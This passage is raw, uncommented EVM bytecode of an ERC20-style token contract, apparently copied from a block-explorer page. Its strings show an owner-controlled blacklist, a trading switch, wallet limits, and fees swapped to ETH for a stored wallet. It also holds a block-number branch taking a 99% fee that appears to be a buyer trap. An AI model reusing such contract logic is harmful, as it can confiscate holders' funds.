000000000000000000000000000000000815260040161170b90613e27565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179a90614157565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006118c161180b612194565b846118bc85604051806060016040528060258152602001614dbb6025913960016000611835612194565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f339092919063ffffffff16565b61219c565b6001905092915050565b60006118df6118d8612194565b8484612367565b6001905092915050565b60186020528060005260406000206000915054906101000a900460ff1681565b611911612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199790613e27565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611a03612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8990613e27565b60405180910390fd5b611388611a9d610d5b565b611aa79190613fc8565b6103e882611ab3610d5b565b611abd9190613ff9565b611ac79190613fc8565b1015611b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aff906141e9565b60405180910390fd5b6103e881611b14610d5b565b611b1e9190613ff9565b611b289190613fc8565b60098190555050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d8060000154908060010154908060020154908060030154908060040154908060050154905086565b6000611b8b612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1190613e27565b60405180910390fd5b81600a8190555060019050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3890614255565b60405180910390fd5b611388611d4c610d5b565b611d569190613fc8565b6103e883611d62610d5b565b611d6c9190613ff9565b611d769190613fc8565b1015611db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dae906140c5565b60405180910390fd5b611388611dc2610d5b565b611dcc9190613fc8565b6103e882611dd8610d5b565b611de29190613ff9565b611dec9190613fc8565b1015611e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e24906140c5565b60405180910390fd5b6103e882611e39610d5b565b611e439190613ff9565b611e4d9190613fc8565b6007819055506103e881611e5f610d5b565b611e699190613ff9565b611e739190613fc8565b6008819055505050565b611e85612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0b90613e27565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611f77612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612006576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffd90613e27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206d906142e7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846121459190613e76565b90508381101561218a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218190614353565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561220c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612203906143e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561227c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227390614477565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161235a9190613ba5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ce90614509565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243e9061459b565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124af9061462d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612520906146bf565b60405180910390fd5b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156125cd5750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390614751565b60405180910390fd5b60008114156126265761262183836000612f97565b612f2e565b61262e6114ed565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561269c575061266c6114ed565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126b55750600b60029054906101000a900460ff16155b15612a3b57600b60009054906101000a900460ff166127af57601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061276f5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6127ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a5906147bd565b60405180910390fd5b5b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156128525750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128a15760075481111561289c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128939061484f565b60405180910390fd5b612990565b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129445750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561298f5760085481111561298e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612985906148e1565b60405180910390fd5b5b5b601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a3a576009546129ed83611185565b826129f89190613e76565b1115612a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a309061494d565b60405180910390fd5b5b5b6000612a4630611185565b90506000600a548210159050808015612a6b5750600b60019054906101000a900460ff165b8015612a845750600b60029054906101000a900460ff16155b8015612ad95750601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8015612b2f5750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612b855750601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612bc9576001600b60026101000a81548160ff021916908315150217905550612bad61322c565b6000600b60026101000a81548160ff0219169083151502179055505b6000600b60029054906101000a900460ff16159050601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c7f5750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957600090505b60008115612f1e576002601a54612ca09190613e76565b431115612cee57612cce6064612cc060638861343990919063ffffffff16565b6134b490919063ffffffff16565b90508060136000828254612ce29190613e76565b92505081905550612efa565b601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612d4c57506000600d60030154115b15612df557612d7c6064612d6e600d600301548861343990919063ffffffff16565b6134b490919063ffffffff16565b9050600d60030154600d6005015482612d959190613ff9565b612d9f9190613fc8565b60146000828254612db09190613e76565b92505081905550600d60030154600d6004015482612dce9190613ff9565b612dd89190613fc8565b60136000828254612de99190613e76565b92505081905550612ef9565b601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e5357506000600d60000154115b15612ef857612e836064612e75600d600001548861343990919063ffffffff16565b6134b490919063ffffffff16565b9050600d60000154600d6002015482612e9c9190613ff9565b612ea69190613fc8565b60146000828254612eb79190613e76565b92505081905550600d60000154600d6001015482612ed59190613ff9565b612edf9190613fc8565b60136000828254612ef09190613e76565b925050819055505b5b5b6000811115612f0f57612f0e873083612f97565b5b8085612f1b919061496d565b94505b612f29878787612f97565b505050505b505050565b6000838311158290612f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f7291906139f9565b60405180910390fd5b5060008385612f8a919061496d565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ffe90614509565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306e9061459b565b60405180910390fd5b6130828383836134fe565b6130ed81604051806060016040528060268152602001614d6d602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f339092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613180816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161321f9190613ba5565b60405180910390a3505050565b600061323730611185565b9050600060135460145461324b9190613e76565b905060008083148061325d5750600082145b1561326a57505050613437565b6014600a546132799190613ff9565b831115613292576014600a5461328f9190613ff9565b92505b6000600283601454866132a59190613ff9565b6132af9190613fc8565b6132b99190613fc8565b905060006132d0828661350390919063ffffffff16565b905060004790506132e08261354d565b60006132f5824761350390919063ffffffff16565b90506000613320876133126013548561343990919063ffffffff16565b6134b490919063ffffffff16565b905060008183613330919061496d565b9050600060148190555060006013819055506000861180156133525750600081115b1561339f576133618682613799565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618582601454604051613396939291906149a1565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516133e590614a09565b60006040518083038185875af1925050503d8060008114613422576040519150601f19603f3d011682016040523d82523d6000602084013e613427565b606091505b5050809750505050505050505050505b565b60008083141561344c57600090506134ae565b6000828461345a9190613ff9565b90508284826134699190613fc8565b146134a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134a090614a90565b60405180910390fd5b809150505b92915050565b60006134f683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613882565b905092915050565b505050565b600061354583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612f33565b905092915050565b6000600267ffffffffffffffff81111561356a57613569614ab0565b5b6040519080825280602002602001820160405280156135985781602001602082028036833780820191505090505b50905030816000815181106135b0576135af614adf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561365057600080fd5b505afa158015613664573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136889190614b23565b8160018151811061369c5761369b614adf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613701307f00000000000000000000000000000000000000000000000000000000000000008461219c565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613763959493929190614c49565b600060405180830381600087803b15801561377d57600080fd5b505af1158015613791573d6000803e3d6000fd5b505050505050565b6137c4307f00000000000000000000000000000000000000000000000000000000000000008461219c565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161382996959493929190614ca3565b6060604051808303818588803b15801561384257600080fd5b505af1158015613856573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061387b9190614d19565b5050505050565b600080831182906138c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138c091906139f9565b60405180910390fd5b50600083856138d89190613fc8565b9050809150509392505050565b600080fd5b6000819050919050565b6138fd816138ea565b811461390857600080fd5b50565b60008135905061391a816138f4565b92915050565b60008060408385031215613937576139366138e5565b5b60006139458582860161390b565b92505060206139568582860161390b565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561399a57808201518184015260208101905061397f565b838111156139a9576000848401525b50505050565b6000601f19601f8301169050919050565b60006139cb82613960565b6139d5818561396b565b93506139e581856020860161397c565b6139ee816139af565b840191505092915050565b60006020820190508181036000830152613a1381846139c0565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613a4682613a1b565b9050919050565b613a5681613a3b565b8114613a6157600080fd5b50565b600081359050613a7381613a4d565b92915050565b60008060408385031215613a9057613a8f6138e5565b5b6000613a9e85828601613a64565b9250506020613aaf8582860161390b565b9150509250929050565b60008115159050919050565b613ace81613ab9565b82525050565b6000602082019050613ae96000830184613ac5565b92915050565b600060208284031215613b0557613b046138e5565b5b6000613b1384828501613a64565b91505092915050565b6000819050919050565b6000613b41613b3c613b3784613a1b565b613b1c565b613a1b565b9050919050565b6000613b5382613b26565b9050919050565b6000613b6582613b48565b9050919050565b613b7581613b5a565b82525050565b6000602082019050613b906000830184613b6c565b92915050565b613b9f816138ea565b82525050565b6000602082019050613bba6000830184613b96565b92915050565b600080600060608486031215613bd957613bd86138e5565b5b6000613be786828701613a64565b9350506020613bf886828701613a64565b9250506040613c098682870161390b565b9150509250925092565b600060ff82169050919050565b613c2981613c13565b82525050565b6000602082019050613c446000830184613c20565b92915050565b613c5381613a3b565b82525050565b6000602082019050613c6e6000830184613c4a565b92915050565b613c7d81613ab9565b8114613c8857600080fd5b50565b600081359050613c9a81613c74565b92915050565b60008060408385031215613cb757613cb66138e5565b5b6000613cc585828601613a64565b9250506020613cd685828601613c8b565b9150509250929050565b600060208284031215613cf657613cf56138e5565b5b6000613d0484828501613c8b565b91505092915050565b600060208284031215613d2357613d226138e5565b5b6000613d318482850161390b565b91505092915050565b600060c082019050613d4f6000830189613b96565b613d5c6020830188613b96565b613d696040830187613b96565b613d766060830186613b96565b613d836080830185613b96565b613d9060a0830184613b96565b979650505050505050565b60008060408385031215613db257613db16138e5565b5b6000613dc085828601613a64565b9250506020613dd185828601613a64565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613e1160208361396b565b9150613e1c82613ddb565b602082019050919050565b60006020820190508181036000830152613e4081613e04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613e81826138ea565b9150613e8c836138ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ec157613ec0613e47565b5b828201905092915050565b7f4d757374206b656570206665657320617420313525206f72206c657373000000600082015250565b6000613f02601d8361396b565b9150613f0d82613ecc565b602082019050919050565b60006020820190508181036000830152613f3181613ef5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613f7f57607f821691505b60208210811415613f9357613f92613f38565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd3826138ea565b9150613fde836138ea565b925082613fee57613fed613f99565b5b828204905092915050565b6000614004826138ea565b915061400f836138ea565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561404857614047613e47565b5b828202905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e747360008201527f206c6f776572207468616e20302e352500000000000000000000000000000000602082015250565b60006140af60308361396b565b91506140ba82614053565b604082019050919050565b600060208201905081810360008301526140de816140a2565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b600061414160398361396b565b915061414c826140e5565b604082019050919050565b6000602082019050818103600083015261417081614134565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b60006141d360248361396b565b91506141de82614177565b604082019050919050565b60006020820190508181036000830152614202816141c6565b9050919050565b7f6f776e6572212d63616c6c657200000000000000000000000000000000000000600082015250565b600061423f600d8361396b565b915061424a82614209565b602082019050919050565b6000602082019050818103600083015261426e81614232565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006142d160268361396b565b91506142dc82614275565b604082019050919050565b60006020820190508181036000830152614300816142c4565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061433d601b8361396b565b915061434882614307565b602082019050919050565b6000602082019050818103600083015261436c81614330565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006143cf60248361396b565b91506143da82614373565b604082019050919050565b600060208201905081810360008301526143fe816143c2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061446160228361396b565b915061446c82614405565b604082019050919050565b6000602082019050818103600083015261449081614454565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006144f360258361396b565b91506144fe82614497565b604082019050919050565b60006020820190508181036000830152614522816144e6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061458560238361396b565b915061459082614529565b604082019050919050565b600060208201905081810360008301526145b481614578565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865206445614420616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061461760258361396b565b9150614622826145bb565b604082019050919050565b600060208201905081810360008301526146468161460a565b9050919050565b7f45524332303a207472616e7366657220746f207468652064456144206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146a960238361396b565b91506146b48261464d565b604082019050919050565b600060208201905081810360008301526146d88161469c565b9050919050565b7f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460008201527f72616e73666572696e6720746f6b656e73000000000000000000000000000000602082015250565b600061473b60318361396b565b9150614746826146df565b604082019050919050565b6000602082019050818103600083015261476a8161472e565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006147a760168361396b565b91506147b282614771565b602082019050919050565b600060208201905081810360008301526147d68161479a565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b600061483960358361396b565b9150614844826147dd565b604082019050919050565b600060208201905081810360008301526148688161482c565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006148cb60368361396b565b91506148d68261486f565b604082019050919050565b600060208201905081810360008301526148fa816148be565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061493760138361396b565b915061494282614901565b602082019050919050565b600060208201905081810360008301526149668161492a565b9050919050565b6000614978826138ea565b9150614983836138ea565b92508282101561499657614995613e47565b5b828203905092915050565b60006060820190506149b66000830186613b96565b6149c36020830185613b96565b6149d06040830184613b96565b949350505050565b600081905092915050565b50565b60006149f36000836149d8565b91506149fe826149e3565b600082019050919050565b6000614a14826149e6565b9150819050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614a7a60218361396b565b9150614a8582614a1e565b604082019050919050565b60006020820190508181036000830152614aa981614a6d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050614b1d81613a4d565b92915050565b600060208284031215614b3957614b386138e5565b5b6000614b4784828501614b0e565b91505092915050565b6000819050919050565b6000614b75614b70614b6b84614b50565b613b1c565b6138ea565b9050919050565b614b8581614b5a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614bc081613a3b565b82525050565b6000614bd28383614bb7565b60208301905092915050565b6000602082019050919050565b6000614bf682614b8b565b614c008185614b96565b9350614c0b83614ba7565b8060005b83811015614c3c578151614c238882614bc6565b9750614c2e83614bde565b925050600181019050614c0f565b5085935050505092915050565b600060a082019050614c5e6000830188613b96565b614c6b6020830187614b7c565b8181036040830152614c7d8186614beb565b9050614c8c6060830185613c4a565b614c996080830184613b96565b9695505050505050565b600060c082019050614cb86000830189613c4a565b614cc56020830188613b96565b614cd26040830187614b7c565b614cdf6060830186614b7c565b614cec6080830185613c4a565b614cf960a0830184613b96565b979650505050505050565b600081519050614d13816138f4565b92915050565b600080600060608486031215614d3257614d316138e5565b5b6000614d4086828701614d04565b9350506020614d5186828701614d04565b9250506040614d6286828701614d04565b915050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203b0a72be7e862f5fe08377a912038d8c7cf6aee06f2f15970be1f85820cf800d64736f6c63430008090033

Deployed Bytecode

0x6080604052600436106102345760003560e01c8063715018a61161012e578063b62496f5116100ab578063d257b34f1161006f578063d257b34f14610875578063dd62ed3e146108b2578063ddd46a6b146108ef578063e16830a814610918578063f2fde38b146109415761023b565b8063b62496f51461078b578063c0246668146107c8578063c18bc195146107f1578063cd6a0c051461081a578063d212a69a146108455761023b565b806395d89b41116100f257806395d89b411461068057806396880b17146106ab5780639a7a23d6146106e8578063a457c2d714610711578063a9059cbb1461074e5761023b565b8063715018a6146105d55780637571336a146105ec5780638a8c523c146106155780638da5cb5b1461062c578063924de9b7146106575761023b565b80631f3fed8f116101bc57806349bd5a5e1161018057806349bd5a5e146104dc5780634fbee1931461050757806366ca9b83146105445780636ddd17131461056d57806370a08231146105985761023b565b80631f3fed8f146103e357806323b872dd1461040e5780632851a5cf1461044b578063313ce56714610474578063395093511461049f5761023b565b806311a582c31161020357806311a582c31461030e5780631694505e146103375780631732cded1461036257806318160ddd1461038d5780631a8145bb146103b85761023b565b806302dbd8f81461024057806306fdde0314610269578063095ea7b31461029457806310d5de53146102d15761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b5061026760048036038101906102629190613920565b61096a565b005b34801561027557600080fd5b5061027e610a81565b60405161028b91906139f9565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b69190613a79565b610b13565b6040516102c89190613ad4565b60405180910390f35b3480156102dd57600080fd5b506102f860048036038101906102f39190613aef565b610b31565b6040516103059190613ad4565b60405180910390f35b34801561031a57600080fd5b5061033560048036038101906103309190613920565b610b51565b005b34801561034357600080fd5b5061034c610d24565b6040516103599190613b7b565b60405180910390f35b34801561036e57600080fd5b50610377610d48565b6040516103849190613ad4565b60405180910390f35b34801561039957600080fd5b506103a2610d5b565b6040516103af9190613ba5565b60405180910390f35b3480156103c457600080fd5b506103cd610d65565b6040516103da9190613ba5565b60405180910390f35b3480156103ef57600080fd5b506103f8610d6b565b6040516104059190613ba5565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190613bc0565b610d71565b6040516104429190613ad4565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190613aef565b610e4a565b005b34801561048057600080fd5b50610489610f25565b6040516104969190613c2f565b60405180910390f35b3480156104ab57600080fd5b506104c660048036038101906104c19190613a79565b610f2e565b6040516104d39190613ad4565b60405180910390f35b3480156104e857600080fd5b506104f1610fe1565b6040516104fe9190613c59565b60405180910390f35b34801561051357600080fd5b5061052e60048036038101906105299190613aef565b611005565b60405161053b9190613ad4565b60405180910390f35b34801561055057600080fd5b5061056b60048036038101906105669190613920565b61105b565b005b34801561057957600080fd5b50610582611172565b60405161058f9190613ad4565b60405180910390f35b3480156105a457600080fd5b506105bf60048036038101906105ba9190613aef565b611185565b6040516105cc9190613ba5565b60405180910390f35b3480156105e157600080fd5b506105ea6111cd565b005b3480156105f857600080fd5b50610613600480360381019061060e9190613ca0565b611325565b005b34801561062157600080fd5b5061062a611417565b005b34801561063857600080fd5b506106416114ed565b60405161064e9190613c59565b60405180910390f35b34801561066357600080fd5b5061067e60048036038101906106799190613ce0565b611517565b005b34801561068c57600080fd5b506106956115cb565b6040516106a291906139f9565b60405180910390f35b3480156106b757600080fd5b506106d260048036038101906106cd9190613aef565b61165d565b6040516106df9190613ad4565b60405180910390f35b3480156106f457600080fd5b5061070f600480360381019061070a9190613ca0565b61167d565b005b34801561071d57600080fd5b5061073860048036038101906107339190613a79565b6117fe565b6040516107459190613ad4565b60405180910390f35b34801561075a57600080fd5b5061077560048036038101906107709190613a79565b6118cb565b6040516107829190613ad4565b60405180910390f35b34801561079757600080fd5b506107b260048036038101906107ad9190613aef565b6118e9565b6040516107bf9190613ad4565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea9190613ca0565b611909565b005b3480156107fd57600080fd5b5061081860048036038101906108139190613d0d565b6119fb565b005b34801561082657600080fd5b5061082f611b31565b60405161083c9190613c59565b60405180910390f35b34801561085157600080fd5b5061085a611b57565b60405161086c96959493929190613d3a565b60405180910390f35b34801561088157600080fd5b5061089c60048036038101906108979190613d0d565b611b81565b6040516108a99190613ad4565b60405180910390f35b3480156108be57600080fd5b506108d960048036038101906108d49190613d9b565b611c2a565b6040516108e69190613ba5565b60405180910390f35b3480156108fb57600080fd5b5061091660048036038101906109119190613920565b611cb1565b005b34801561092457600080fd5b5061093f600480360381019061093a9190613ca0565b611e7d565b005b34801561094d57600080fd5b5061096860048036038101906109639190613aef565b611f6f565b005b610972612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f890613e27565b60405180910390fd5b81600d6004018190555080600d60050181905550600d60050154600d60040154610a2b9190613e76565b600d60030181905550600f600d600301541115610a7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7490613f18565b60405180910390fd5b5050565b60606003805461